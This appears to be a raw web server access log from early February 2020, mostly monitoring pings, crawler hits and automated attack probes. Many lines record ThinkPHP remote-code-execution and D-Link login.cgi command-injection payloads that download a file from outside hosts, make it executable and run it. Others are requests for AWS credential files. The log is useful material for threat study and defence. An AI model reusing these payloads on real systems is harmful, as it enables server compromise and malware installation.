212.91.246.72 - - [01/Feb/2020:23:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.4.28 - - [01/Feb/2020:23:10:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.99.184.149 - - [01/Feb/2020:23:11:49 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
167.99.184.149 - - [01/Feb/2020:23:11:57 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
41.32.244.211 - - [01/Feb/2020:23:12:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.240.232 - - [01/Feb/2020:23:12:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
216.221.205.150 - - [01/Feb/2020:23:12:41 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [01/Feb/2020:23:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.226.167 - - [01/Feb/2020:23:16:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.175.14.152 - - [01/Feb/2020:23:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:23:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.227.162.19 - - [01/Feb/2020:23:19:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.61.245.109 - - [01/Feb/2020:23:24:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.247.154 - - [01/Feb/2020:23:25:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.75.92 - - [01/Feb/2020:23:25:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.231.131.252 - - [01/Feb/2020:23:25:38 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:23:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.128.43 - - [01/Feb/2020:23:26:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.123.191.70 - - [01/Feb/2020:23:31:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:23:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.27.90.6 - - [01/Feb/2020:23:32:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:23:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.255.176.116 - - [01/Feb/2020:23:34:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
173.255.176.116 - - [01/Feb/2020:23:34:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
173.255.176.116 - - [01/Feb/2020:23:34:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:23:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.80.243.138 - - [01/Feb/2020:23:35:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [01/Feb/2020:23:36:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.42.19 - - [01/Feb/2020:23:38:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.125.16 - - [01/Feb/2020:23:42:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:23:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.87.220.13 - - [01/Feb/2020:23:43:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.245.171 - - [01/Feb/2020:23:43:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.98 - - [01/Feb/2020:23:45:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.97.1.99 - - [01/Feb/2020:23:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:23:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.9.164.99 - - [01/Feb/2020:23:46:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.50.26.198 - - [01/Feb/2020:23:46:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [01/Feb/2020:23:47:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [01/Feb/2020:23:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.233.238.26 - - [01/Feb/2020:23:47:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.91.106.89 - - [01/Feb/2020:23:48:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.153.52.161 - - [01/Feb/2020:23:48:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:23:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.97.34 - - [01/Feb/2020:23:49:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.175 - - [01/Feb/2020:23:49:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.53.242.123 - - [01/Feb/2020:23:50:45 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:23:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.59.139 - - [01/Feb/2020:23:54:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.233.25.207 - - [01/Feb/2020:23:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.17.242.147 - - [01/Feb/2020:23:54:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.148.224.137 - - [01/Feb/2020:23:55:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.96.11.225 - - [01/Feb/2020:23:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [01/Feb/2020:23:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [02/Feb/2020:00:01:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [02/Feb/2020:00:01:02 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [02/Feb/2020:00:01:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [02/Feb/2020:00:01:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
197.203.0.68 - - [02/Feb/2020:00:02:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.203.0.68 - - [02/Feb/2020:00:02:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.70 - - [02/Feb/2020:00:02:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.188.190.62 - - [02/Feb/2020:00:03:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.20.209.50 - - [02/Feb/2020:00:08:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.7.172.25 - - [02/Feb/2020:00:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.213.214.180 - - [02/Feb/2020:00:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.213.214.180 - - [02/Feb/2020:00:08:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.0.192.93 - - [02/Feb/2020:00:10:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.5.49.11 - - [02/Feb/2020:00:10:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.151.157.12 - - [02/Feb/2020:00:13:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.227.188.236 - - [02/Feb/2020:00:15:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.196.153 - - [02/Feb/2020:00:18:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.66.124.75 - - [02/Feb/2020:00:19:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.240.45 - - [02/Feb/2020:00:19:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.202.212.237 - - [02/Feb/2020:00:19:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.51.133.234 - - [02/Feb/2020:00:20:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.19.236.108 - - [02/Feb/2020:00:23:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
178.88.82.228 - - [02/Feb/2020:00:23:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.132.109 - - [02/Feb/2020:00:26:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
